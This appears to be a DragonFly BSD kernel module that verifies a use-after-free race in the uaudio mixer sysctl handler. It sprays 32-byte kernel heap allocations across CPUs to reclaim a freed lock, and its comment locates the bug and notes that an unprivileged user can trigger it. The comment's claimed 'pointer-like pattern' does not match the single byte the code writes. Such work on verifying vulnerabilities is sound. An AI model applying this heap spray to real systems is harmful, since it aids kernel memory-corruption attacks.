/*
 * DF-5253 spray KLD (verification helper, loaded by root).
 *
 * Churns 32-byte M_DEVBUF allocations - the exact size/class of the
 * struct lock freed by snd_mtxfree(m->lock) in mixer_uninit() - on every
 * CPU, filling each chunk with a pointer-like pattern. This simulates any
 * other kernel subsystem reclaiming the just-freed mixer lock so that a
 * racing uaudio_mixer_sysctl_handler() that re-locks the stale pointer
 * (uaudio.c:2772) operates on foreign data.
 *
 * The race itself (sysctl hammer + USB device detach) is fully
 * unprivileged; this module only provides realistic allocator pressure.
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/malloc.h>
#include <sys/systm.h>
#include <sys/thread.h>
#include <sys/thread2.h>

#define NSLOT		64
#define NTHR		8

static struct thread *spray_td[NTHR];
static volatile int spray_run = 1;

static void
spray_loop(void *arg)
{
	int id = (int)(intptr_t)arg;
	void *slot[NSLOT];
	uint64_t pat = 0xffffffffffff0000ULL | (uint64_t)id;
	int i;

	memset(slot, 0, sizeof(slot));

	while (spray_run) {
		for (i = 0; i < NSLOT; i++) {
			if (slot[i] == NULL) {
				slot[i] = kmalloc(32, M_DEVBUF, M_WAITOK);
				if (slot[i])
					memset(slot[i], (int)(pat & 0xff), 32);
			}
			lwkt_yield();
		}
		for (i = 0; i < NSLOT; i++) {
			if (slot[i]) {
				kfree(slot[i], M_DEVBUF);
				slot[i] = NULL;
			}
			lwkt_yield();
		}
		/* let userland breathe */
		tsleep(&spray_run, 0, "dfsprayz", 1);
	}
	for (i = 0; i < NSLOT; i++)
		if (slot[i])
			kfree(slot[i], M_DEVBUF);
	lwkt_exit();
}

static int
df5253_spray_modevent(module_t mod, int type, void *data)
{
	int i, err = 0;

	switch (type) {
	case MOD_LOAD:
		spray_run = 1;
		for (i = 0; i < NTHR; i++) {
			err = lwkt_create(spray_loop, (void *)(intptr_t)i,
			    &spray_td[i], NULL, 0, i % ncpus,
			    "dfspray%d", i);
			if (err)
				break;
		}
		kprintf("df5253_spray: %d threads\n", i);
		break;
	case MOD_UNLOAD:
		spray_run = 0;
		tsleep(&spray_run, 0, "dfsprayw", hz);
		break;
	default:
		break;
	}
	return (err);
}

static moduledata_t df5253_spray_mod = { "df5253_spray", df5253_spray_modevent, 0 };
DECLARE_MODULE(df5253_spray, df5253_spray_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
